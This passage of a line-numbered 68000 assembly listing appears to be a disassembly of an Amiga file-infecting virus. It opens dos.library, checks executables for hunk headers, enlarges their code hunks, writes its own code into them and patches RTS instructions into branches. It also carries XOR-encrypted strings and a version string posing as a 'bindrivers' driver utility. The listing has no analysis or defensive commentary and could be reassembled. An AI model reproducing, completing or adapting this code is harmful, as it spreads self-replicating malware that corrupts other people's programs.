  586.     MOVEA.L    -148(A2),A3        ;57C: 266AFF6C
  587.     LEA    LAB_004D(PC),A4        ;580: 49FA0044
  588.     MOVE.L    -162(A4),D1        ;584: 222CFF5E
  589.     CMP.L    -162(A3),D1        ;588: B2ABFF5E
  590.     BEQ.S    LAB_004C        ;58C: 6708
  591.     MOVE.L    A3,1042(A4)        ;58E: 294B0412
  592.     MOVE.L    A4,-148(A2)        ;592: 254CFF6C
  593. LAB_004C:
  594.     MOVE.L    LAB_004A+2(PC),514(A6)    ;596: 2D7AFF8C0202
  595.     LEA    LAB_0078(PC),A1        ;59C: 43FA0384
  596.     JSR    -294(A6)        ;5A0: 4EAEFEDA
  597.     TST.L    D0            ;5A4: 4A80
  598.     BNE.S    LAB_004F        ;5A6: 6634
  599.     LEA    LAB_0078(PC),A1        ;5A8: 43FA0378
  600.     MOVE.L    A1,D1            ;5AC: 2209
  601.     CLR.L    D2            ;5AE: 4282
  602.     LEA    LAB_0061(PC),A1        ;5B0: 43FA01CA
  603.     MOVE.L    A1,D3            ;5B4: 2609
  604.     LSR.L    #2,D3            ;5B6: E48B
  605.     MOVE.L    #$00000400,D4        ;5B8: 283C00000400
  606.     DC.W    $2C7A            ;5BE
  607.     DC.W    $0404            ;5C0
  608.     JMP    -138(A6)        ;5C2: 4EEEFF76
  609. LAB_004D:
  610.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;5C6: 48E7FFFE
  611.     DC.W    $4BFA            ;5CA
  612.     DC.W    $0428            ;5CC
  613.     TST.L    (A5)            ;5CE: 4A95
  614.     BNE.S    LAB_004E        ;5D0: 6602
  615.     BSR.S    LAB_0051        ;5D2: 6110
  616. LAB_004E:
  617.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;5D4: 4CDF7FFF
  618.     DC.W    $2F3A            ;5D8
  619.     DC.W    $03FE            ;5DA
  620. LAB_004F:
  621.     RTS                ;5DC: 4E75
  622. LAB_0050:
  623.     MOVE.L    D7,D1            ;5DE: 2207
  624.     JMP    -90(A6)            ;5E0: 4EEEFFA6
  625. LAB_0051:
  626.     DC.W    $2C7A            ;5E4
  627.     BSET    D1,(A6)+        ;5E6: 03DE
  628.     DC.W    $41FA            ;5E8
  629.     BSET    D1,-127(A2,D2.W)    ;5EA: 03F22081
  630.     MOVEQ    #-1,D2            ;5EE: 74FF
  631.     JSR    -84(A6)            ;5F0: 4EAEFFAC
  632.     TST.L    D0            ;5F4: 4A80
  633.     BEQ.S    LAB_004F        ;5F6: 67E4
  634.     MOVE.L    D0,D7            ;5F8: 2E00
  635.     MOVE.L    D0,D1            ;5FA: 2200
  636.     MOVEA.L    LAB_0074(PC),A5        ;5FC: 2A7A0300
  637.     MOVE.L    A5,D2            ;600: 240D
  638.     JSR    -114(A6)        ;602: 4EAEFF8E
  639.     TST.L    D0            ;606: 4A80
  640.     BEQ.S    LAB_0050        ;608: 67D4
  641.     CMPI.L    #$00000052,8(A5)    ;60A: 0CAD000000520008
  642.     BNE.S    LAB_0050        ;612: 66CA
  643.     MOVE.L    12(A5),D0        ;614: 202D000C
  644.     SUB.L    16(A5),D0        ;618: 90AD0010
  645.     CMP.L    #$00000005,D0        ;61C: B0BC00000005
  646.     BLE.S    LAB_0050        ;622: 6FBA
  647.     MOVE.L    D7,D1            ;624: 2207
  648.     MOVE.L    A5,D2            ;626: 240D
  649.     JSR    -102(A6)        ;628: 4EAEFF9A
  650.     TST.L    D0            ;62C: 4A80
  651.     BEQ.S    LAB_0050        ;62E: 67AE
  652.     TST    116(A5)            ;630: 4A6D0074
  653.     BNE.S    LAB_0050        ;634: 66A8
  654.     CMPI.L    #$0001E848,124(A5)    ;636: 0CAD0001E848007C
  655.     BHI.S    LAB_0050        ;63E: 629E
  656.     BSR.S    LAB_0050        ;640: 619C
  657.     MOVE.L    124(A5),D0        ;642: 202D007C
  658.     MOVEA.L    (ABSEXECBASE).W,A6    ;646: 2C780004
  659.     BSR    LAB_0047        ;64A: 6100FEBC
  660.     BEQ.S    LAB_0052        ;64E: 6716
  661.     MOVE.L    D0,D7            ;650: 2E00
  662.     DC.W    $2C7A            ;652
  663.     DC.W    $0370            ;654
  664.     DC.W    $223A            ;656
  665.     BCLR    D1,D4            ;658: 0384
  666.     MOVE.L    #$000003ED,D2        ;65A: 243C000003ED
  667.     JSR    -30(A6)            ;660: 4EAEFFE2
  668.     TST.L    D0            ;664: 4A80
  669. LAB_0052:
  670.     BEQ    LAB_0057        ;666: 6700008C
  671.     MOVE.L    D0,D6            ;66A: 2C00
  672.     MOVE.L    D0,D1            ;66C: 2200
  673.     MOVE.L    D7,D2            ;66E: 2407
  674.     MOVEA.L    LAB_0074(PC),A5        ;670: 2A7A028C
  675.     MOVE.L    124(A5),D3        ;674: 262D007C
  676.     JSR    -42(A6)            ;678: 4EAEFFD6
  677.     CMP.L    124(A5),D0        ;67C: B0AD007C
  678.     BEQ.S    LAB_0055        ;680: 670A
  679.     BRA.S    LAB_0056        ;682: 6042
  680. LAB_0053:
  681.     MOVE.L    D7,D2            ;684: 2407
  682. LAB_0054:
  683.     MOVE.L    D6,D1            ;686: 2206
  684.     JMP    -48(A6)            ;688: 4EEEFFD0
  685. LAB_0055:
  686.     MOVE.L    D6,D1            ;68C: 2206
  687.     CLR.L    D2            ;68E: 4282
  688.     MOVEQ    #-1,D3            ;690: 76FF
  689.     JSR    -66(A6)            ;692: 4EAEFFBE
  690.     BSR.S    LAB_0058        ;696: 6166
  691.     BNE.S    LAB_0056        ;698: 662C
  692.     DC.W    $263A            ;69A
  693.     BCHG    D1,D4            ;69C: 0344
  694.     BSR.S    LAB_0053        ;69E: 61E4
  695.     BSR    LAB_0045        ;6A0: 6100FE44
  696.     LEA    LAB_0044(PC),A0        ;6A4: 41FAFE32
  697.     MOVE.L    A0,D2            ;6A8: 2408
  698.     MOVE.L    #$000004EC,D3        ;6AA: 263C000004EC
  699.     BSR.S    LAB_0054        ;6B0: 61D4
  700.     MOVE.L    D7,D2            ;6B2: 2407
  701.     MOVE.L    124(A5),D3        ;6B4: 262D007C
  702.     DC.W    $96BA            ;6B8
  703.     BTST    D1,-(A6)        ;6BA: 0326
  704.     DC.W    $D4BA            ;6BC
  705.     BTST    D1,-(A2)        ;6BE: 0322
  706.     BSR.S    LAB_0054        ;6C0: 61C4
  707.     BSR    LAB_0045        ;6C2: 6100FE22
  708. LAB_0056:
  709.     MOVE.L    D6,D1            ;6C6: 2206
  710.     JSR    -36(A6)            ;6C8: 4EAEFFDC
  711.     DC.W    $2C7A            ;6CC
  712.     DC.W    $02F6            ;6CE
  713.     MOVEA.L    LAB_0074(PC),A5        ;6D0: 2A7A022C
  714.     MOVE    #$FAB4,116(A5)        ;6D4: 3B7CFAB40074
  715.     MOVE.L    116(A5),D2        ;6DA: 242D0074
  716.     DC.W    $223A            ;6DE
  717.     DC.W    $02FC            ;6E0
  718.     JSR    -186(A6)        ;6E2: 4EAEFF46
  719.     LEA    132(A5),A0        ;6E6: 41ED0084
  720.     DC.W    $223A            ;6EA
  721.     DC.W    $02F0            ;6EC
  722.     MOVE.L    A0,D2            ;6EE: 2408
  723.     JMP    -396(A6)        ;6F0: 4EEEFE74
  724. LAB_0057:
  725.     MOVEA.L    (ABSEXECBASE).W,A6    ;6F4: 2C780004
  726.     MOVEA.L    D7,A1            ;6F8: 2247
  727.     JMP    -690(A6)        ;6FA: 4EEEFD4E
  728. LAB_0058:
  729.     MOVEA.L    D7,A0            ;6FE: 2047
  730.     CMPI    #$03F3,2(A0)        ;700: 0C6803F30002
  731.     BEQ.S    LAB_005B        ;706: 6704
  732. LAB_0059:
  733.     MOVEQ    #-1,D0            ;708: 70FF
  734. LAB_005A:
  735.     RTS                ;70A: 4E75
  736. LAB_005B:
  737.     MOVE.L    8(A0),D0        ;70C: 20280008
  738.     ADDQ.L    #5,D0            ;710: 5A80
  739.     LSL.L    #2,D0            ;712: E588
  740.     CMPI    #$03E9,2(A0,D0.L)    ;714: 0C7003E90802
  741.     BNE.S    LAB_005A        ;71A: 66EE
  742.     MOVE.L    4(A0,D0.L),D1        ;71C: 22300804
  743.     CMP.L    20(A0),D1        ;720: B2A80014
  744.     BNE.S    LAB_0059        ;724: 66E2
  745.     ADDI.L    #$0000013B,20(A0)    ;726: 06A80000013B0014
  746.     ADDI.L    #$0000013B,4(A0,D0.L)    ;72E: 06B00000013B0804
  747.     LSL.L    #2,D1            ;736: E589
  748.     ADD.L    D1,D0            ;738: D081
  749.     ADDQ.L    #8,D0            ;73A: 5080
  750.     DC.W    $43FA            ;73C
  751.     ANDI.L    #$2280D1C0,-(A2)    ;73E: 02A22280D1C0
  752.     CMPI.L    #$54525369,-1184(A0)    ;744: 0CA854525369FB60
  753.     BEQ.S    LAB_0059        ;74C: 67BA
  754.     MOVEQ    #-1,D2            ;74E: 74FF
  755.     MOVEQ    #62,D0            ;750: 703E
  756. LAB_005C:
  757.     CMPI    #$4E75,-(A0)        ;752: 0C604E75
  758.     BEQ.S    LAB_005E        ;756: 6708
  759. LAB_005D:
  760.     DBF    D0,LAB_005C        ;758: 51C8FFF8
  761.     TST.L    D2            ;75C: 4A82
  762.     RTS                ;75E: 4E75
  763. LAB_005E:
  764.     MOVEQ    #124,D1            ;760: 727C
  765.     LSL.L    #1,D0            ;762: E388
  766.     SUB.L    D0,D1            ;764: 9280
  767.     BNE.S    LAB_005F        ;766: 6606
  768.     MOVE    #$4E71,(A0)        ;768: 30BC4E71
  769.     BRA.S    LAB_0060        ;76C: 6008
  770. LAB_005F:
  771.     MOVE.B    #$60,(A0)        ;76E: 10BC0060
  772.     MOVE.B    D1,1(A0)        ;772: 11410001
  773. LAB_0060:
  774.     MOVEQ    #0,D2            ;776: 7400
  775.     LSR.L    #1,D0            ;778: E288
  776.     BRA.S    LAB_005D        ;77A: 60DC
  777. LAB_0061:
  778.     ORI.B    #$10,D0            ;77C: 00000010
  779.     ORI.B    #$00,D0            ;780: 00000000
  780. LAB_0062:
  781.     BSR.S    LAB_0063        ;784: 611C
  782.     DC.W    $2C7A            ;786
  783.     DC.W    $023C            ;788
  784.     LEA    LAB_0077(PC),A1        ;78A: 43FA0194
  785.     MOVE.L    A1,D1            ;78E: 2209
  786.     MOVEQ    #-2,D2            ;790: 74FE
  787.     JSR    -84(A6)            ;792: 4EAEFFAC
  788.     MOVE.L    D0,D1            ;796: 2200
  789.     BEQ.S    LAB_0064        ;798: 6710
  790.     JSR    -90(A6)            ;79A: 4EAEFFA6
  791.     BRA    LAB_0066        ;79E: 600000AE
  792. LAB_0063:
  793.     DC.W    $4BFA            ;7A2
  794.     ANDI    #$4695,(A0)        ;7A4: 02504695
  795.     RTS                ;7A8: 4E75
  796. LAB_0064:
  797.     MOVEA.L    (ABSEXECBASE).W,A6    ;7AA: 2C780004
  798.     LEA    LAB_0076(PC),A1        ;7AE: 43FA015E
  799.     CLR    234(A1)            ;7B2: 426900EA
  800.     MOVEQ    #3,D0            ;7B6: 7003
  801.     JSR    -552(A6)        ;7B8: 4EAEFDD8
  802.     TST.L    D0            ;7BC: 4A80
  803.     BEQ    LAB_0066        ;7BE: 6700008E
  804.     LEA    LAB_0079(PC),A0        ;7C2: 41FA0162
  805.     MOVE.L    D0,190(A0)        ;7C6: 214000BE
  806.     MOVEA.L    D0,A6            ;7CA: 2C40
  807.     JSR    -210(A6)        ;7CC: 4EAEFF2E
  808.     TST.L    D0            ;7D0: 4A80
  809.     BEQ.S    LAB_0065        ;7D2: 676E
  810.     DC.W    $41FA            ;7D4
  811.     DC.W    $0212            ;7D6
  812.     MOVE.L    D0,(A0)            ;7D8: 2080
  813.     MOVEA.L    D0,A5            ;7DA: 2A40
  814.     MOVE.L    8(A5),D0        ;7DC: 202D0008
  815.     MOVEQ    #1,D1            ;7E0: 7201
  816.     MOVEQ    #0,D2            ;7E2: 7400
  817.     MOVEA.L    16(A5),A1        ;7E4: 226D0010
  818.     MOVEA.L    (A1),A1            ;7E8: 2251
  819.     MOVE.L    (A1),-28(A0)        ;7EA: 2151FFE4
  820.     JSR    -30(A6)            ;7EE: 4EAEFFE2
  821.     DC.W    $41FA            ;7F2
  822.     BSET    D0,(A4)            ;7F4: 01D4
  823.     MOVE.L    D0,36(A0)        ;7F6: 21400024
  824.     ADDQ.L    #1,D0            ;7FA: 5280
  825.     BEQ.S    LAB_0065        ;7FC: 6744
  826.     SUBQ.L    #1,D0            ;7FE: 5380
  827.     MOVEQ    #16,D1            ;800: 7210
  828.     JSR    -54(A6)            ;802: 4EAEFFCA
  829.     TST.L    D0            ;806: 4A80
  830.     BNE.S    LAB_0065        ;808: 6638
  831.     BSR    LAB_006C        ;80A: 61000082
  832.     MOVE.L    D0,-(A7)        ;80E: 2F00
  833.     DC.W    $203A            ;810
  834.     BSET    D0,(A2)+        ;812: 01DA
  835.     MOVEQ    #2,D1            ;814: 7202
  836.     JSR    -84(A6)            ;816: 4EAEFFAC
  837.     DC.W    $203A            ;81A
  838.     BSET    D0,(A0)            ;81C: 01D0
  839.     JSR    -120(A6)        ;81E: 4EAEFF88
  840.     MOVE.L    (A7)+,D0        ;822: 201F
  841.     BNE.S    LAB_0065        ;824: 661C
  842.     DC.W    $2C7A            ;826
  843.     BCLR    D0,(A4)+        ;828: 019C
  844.     LEA    LAB_0077(PC),A1        ;82A: 43FA00F4
  845.     MOVE.L    A1,D1            ;82E: 2209
  846.     MOVE.L    #$000003EE,D2        ;830: 243C000003EE
  847.     JSR    -30(A6)            ;836: 4EAEFFE2
  848.     MOVE.L    D0,D1            ;83A: 2200
  849.     BEQ.S    LAB_0065        ;83C: 6704
  850.     JSR    -36(A6)            ;83E: 4EAEFFDC
  851. LAB_0065:
  852.     MOVEA.L    (ABSEXECBASE).W,A6    ;842: 2C780004
  853.     DC.W    $227A            ;846
  854.     BCLR    D0,(A4)+        ;848: 019C
  855.     JSR    -414(A6)        ;84A: 4EAEFE62
  856. LAB_0066:
  857.     BSR    LAB_0063        ;84E: 6100FF52
  858.     DC.W    $2C7A            ;852
  859.     DC.W    $0170            ;854
  860.     MOVE.L    #$00007530,D1        ;856: 223C00007530
  861.     JSR    -198(A6)        ;85C: 4EAEFF3A
  862.     BRA    LAB_0062        ;860: 6000FF22
  863. LAB_0067:
  864.     MOVE.L    #$000001FF,D1        ;864: 223C000001FF
  865. LAB_0068:
  866.     DC.W    $203A            ;86A
  867.     BCLR    D0,D0            ;86C: 0180
  868.     MOVEQ    #0,D2            ;86E: 7400
  869.     RTS                ;870: 4E75
  870. LAB_0069:
  871.     MOVEA.L    LAB_0074(PC),A0        ;872: 207A008A
  872.     BSR.S    LAB_0067        ;876: 61EC
  873.     JSR    -78(A6)            ;878: 4EAEFFB2
  874. LAB_006A:
  875.     ADDQ.L    #1,D0            ;87C: 5280
  876.     RTS                ;87E: 4E75
  877. LAB_006B:
  878.     BSR.S    LAB_0068        ;880: 61E8
  879.     ANDI.L    #$000000FF,D1        ;882: 0281000000FF
  880.     JSR    -66(A6)            ;888: 4EAEFFBE
  881.     BRA.S    LAB_006A        ;88C: 60EE
  882. LAB_006C:
  883.     MOVEQ    #0,D1            ;88E: 7200
  884.     MOVEA.L    LAB_0074(PC),A0        ;890: 207A006C
  885.     BSR.S    LAB_006B        ;894: 61EA
  886.     BEQ.S    LAB_0071        ;896: 6752
  887.     BSR.S    LAB_0069        ;898: 61D8
  888.     BEQ.S    LAB_0071        ;89A: 674E
  889.     MOVE.L    #$32323000,D0        ;89C: 203C32323000
  890.     BSR.S    LAB_0073        ;8A2: 614E
  891.     BNE.S    LAB_0071        ;8A4: 6644
  892.     LEA    LAB_007B+1(PC),A0    ;8A6: 41FA0097
  893. LAB_006D:
  894.     LEA    LAB_007A(PC),A1        ;8AA: 43FA008C
  895.     CLR.L    D1            ;8AE: 4281
  896.     MOVE    192(A1),D1        ;8B0: 322900C0
  897.     MOVE.B    0(A1,D1.W),D1        ;8B4: 12311000
  898.     MOVEA.L    A0,A2            ;8B8: 2448
  899.     ADDA.L    D1,A2            ;8BA: D5C1
  900.     MOVE.L    A2,-(A7)        ;8BC: 2F0A
  901.     ADDQ    #1,192(A1)        ;8BE: 526900C0
  902.     BSR.S    LAB_006B        ;8C2: 61BC
  903.     BEQ.S    LAB_0070        ;8C4: 6722
  904.     DC.W    $323A            ;8C6
  905.     DC.W    $0130            ;8C8
  906.     CMP    #$0006,D1        ;8CA: B27C0006
  907.     BGE.S    LAB_006E        ;8CE: 6C06
  908.     CMP    #$0005,D1        ;8D0: B27C0005
  909.     BGE.S    LAB_006F        ;8D4: 6C04
  910. LAB_006E:
  911.     BSR.S    LAB_0069        ;8D6: 619A
  912.     BEQ.S    LAB_0070        ;8D8: 670E
  913. LAB_006F:
  914.     MOVEA.L    (A7)+,A0        ;8DA: 205F
  915.     DC.W    $343A            ;8DC
  916.     BTST    D0,(A2)+        ;8DE: 011A
  917.     CMP    #$0007,D2        ;8E0: B47C0007
  918.     BNE.S    LAB_006D        ;8E4: 66C4
  919.     BRA.S    LAB_0072        ;8E6: 6006
  920. LAB_0070:
  921.     ADDQ.L    #4,A7            ;8E8: 588F
  922. LAB_0071:
  923.     MOVEQ    #-1,D0            ;8EA: 70FF
  924.     RTS                ;8EC: 4E75
  925. LAB_0072:
  926.     MOVEQ    #0,D0            ;8EE: 7000
  927.     RTS                ;8F0: 4E75
  928. LAB_0073:
  929.     MOVEA.L    LAB_0074(PC),A0        ;8F2: 207A000A
  930.     CLR.B    3(A0)            ;8F6: 42280003
  931.     CMP.L    (A0),D0            ;8FA: B090
  932.     RTS                ;8FC: 4E75
  933. LAB_0074:
  934.     DC.W    $083F            ;8FE
  935.     DC.W    $FDFC            ;900
  936. LAB_0075:
  937.     DC.W    $646F            ;902
  938.     DC.W    $732E            ;904
  939.     DC.W    $6C69            ;906
  940.     BHI.S    LAB_007C        ;908: 6272
  941.     BSR.S    LAB_007D        ;90A: 6172
  942.     DC.W    $7900            ;90C
  943. LAB_0076:
  944.     ADDA    A5,A4            ;90E: D8CD
  945.     ADDA    A5,A7            ;910: DECD
  946.     ADDA.L    (A5)+,A2        ;912: D5DD
  947.     ADDA.L    (A3)+,A0        ;914: D1DB
  948.     AND.L    (A0),D7            ;916: CE90
  949.     ADDA    (A7),A3            ;918: D6D7
  950.     ADDA    A4,A4            ;91A: D8CC
  951.     ADDA.L    A4,A5            ;91C: DBCC
  952.     DC.W    $C3BE            ;91E
  953. LAB_0077:
  954.     ASL.L    #4,D4            ;920: E984
  955. LAB_0078:
  956.     ASR    -66(A7,A7.L)        ;922: E0F7F8BE
  957. LAB_0079:
  958.     ADDA    (A7),A3            ;926: D6D7
  959.     ADDA    A2,A2            ;928: D4CA
  960.     ADDA.L    A3,A7            ;92A: DFCB
  961.     MULU    (A1),D7            ;92C: CED1
  962.     SUBA    A2,A2            ;92E: 94CA
  963.     ADDA.L    A3,A7            ;930: DFCB
  964.     MULU    (A1),D7            ;932: CED1
  965.     SUBA    (A2)+,A2        ;934: 94DA
  966.     DC.W    $DFBE            ;936
  967. LAB_007A:
  968.     CMP.L    -25672(A6),D2        ;938: B4AE9BB8
  969.     DC.W    $8FBB            ;93C
  970. LAB_007B:
  971.     DC.W    $BCF6            ;93E
  972.     DC.W    $FFF2            ;940
  973.     DC.W    $F59E            ;942
  974.     DC.W    $CECC            ;944
  975.     MULS    (A7),D4            ;946: C9D7
  976.     SUBA    (A2)+,A2        ;948: 94DA
  977.     DC.W    $DFB3            ;94A
  978.     DC.W    $B0F3            ;94C
  979.     DC.W    $FBF7            ;94E
  980.     DC.W    $F69E            ;950
  981.     DC.W    $FCEC            ;952
  982.     DC.W    $F5F3            ;954
  983.     OR.L    D2,D0            ;956: 8082
  984.     ADDA.L    (A3)+,A3        ;958: D7DB
  985.     OR.L    -20(A3,A3.W),D2        ;95A: 84B3B0EC
  986.     DC.W    $F9EE            ;95E
  987.     ROR.L    #7,D6            ;960: EE9E
  988.     DC.W    $EEF1            ;962
  989.     OR.L    D2,D0            ;964: 8082
  990.     MULU    (A7),D6            ;966: CCD7
  991.     DC.W    $C8CB            ;968
  992.     DC.W    $C9C9            ;96A
  993.     ADDA.L    A4,A2            ;96C: D5CC
  994.     ADDA.L    A5,A0            ;96E: D1CD
  995.     ADDA    (A1),A1            ;970: D2D1
  996.     DC.W    $CAFE            ;972
  997.     DC.W    $CECC            ;974
  998.     MULS    (A7),D4            ;976: C9D7
  999.     SUBA    (A2)+,A2        ;978: 94DA
  1000.     ADDX.L    D0,D7            ;97A: DF80
  1001. LAB_007C:
  1002.     DC.W    $B7B4            ;97C
  1003. LAB_007D:
  1004.     DC.W    $FEFF            ;97E
  1005.     DC.W    $EEFF            ;980
  1006.     DC.W    $B7B4            ;982
  1007.     DC.W    $FBD0            ;984
  1008.     ADDA.L    A2,A2            ;986: D5CA
  1009.     ADDA    (A3)+,A1        ;988: D2DB
  1010.     AND.L    (A6)+,D4        ;98A: C89E
  1011.     OR.L    D5,(A6)+        ;98C: 8B9E
  1012.     ADDA    (A7),A4            ;98E: D8D7
  1013.     MULU    (A3)+,D7        ;990: CEDB
  1014.     AND.L    D4,(A6)+        ;992: C99E
  1015.     MULU    (A6),D7            ;994: CED6
  1016.     ADD.L    D7,(A6)+        ;996: DF9E
  1017.     ADDA    A3,A7            ;998: DECB
  1018.     DC.W    $C9CA            ;99A
  1019.     SUB.L    D5,(A7)+        ;99C: 9B9F
  1020.     SUBA    EXT_0001,A5        ;99E: 9AF9C8DBDFCA
  1021.     AND.L    (A6)+,D0        ;9A4: C09E
  1022.     MULU    (A1),D7            ;9A6: CED1
  1023.     SUBA    #$FFF1,A5        ;9A8: 9AFCFFF1
  1024.     DC.W    $F69E            ;9AC
  1025.     ADDA.L    (A0),A5            ;9AE: DBD0
  1026.     ADD.L    (A6)+,D7        ;9B0: DE9E
  1027.     DC.W    $F8F1            ;9B2
  1028.     DC.W    $F1F1            ;9B4
  1029.     ROXR.L    D4,D3            ;9B6: E8B3
  1030.     CMP.L    -112(A3,A3.W),D0    ;9B8: B0B3B090
  1031.     DC.W    $B7B4            ;9BC
  1032.     DC.W    $EBEB            ;9BE
  1033.     DC.W    $F3EA            ;9C0
  1034.     DC.W    $B7B4            ;9C2
  1035.  
  1036.  
  1037.     SECTION S_1,DATA
  1038.  
  1039. SECSTRT_1:
  1040.     DC.W    $0024            ;9C4
  1041.     DC.W    $5645            ;9C6
  1042.     DC.W    $523A            ;9C8
  1043.     DC.W    $2062            ;9CA
  1044.     DC.W    $696E            ;9CC
  1045.     DC.W    $6464            ;9CE
  1046.     DC.W    $7269            ;9D0
  1047.     DC.W    $7665            ;9D2
  1048.     DC.W    $7273            ;9D4
  1049.     DC.W    $2033            ;9D6
  1050.     DC.W    $382E            ;9D8
  1051.     DC.W    $3220            ;9DA
  1052.     DC.W    $2833            ;9DC
  1053.     DC.W    $312E            ;9DE
  1054.     DC.W    $332E            ;9E0
  1055.     DC.W    $3932            ;9E2
  1056.     DC.W    $2900            ;9E4
  1057.     DS.W    1            ;9E6
  1058. LAB_007E:
  1059.     DS.W    2            ;9E8
  1060. LAB_007F:
  1061.     DS.W    2            ;9EC
  1062.     END
  1063.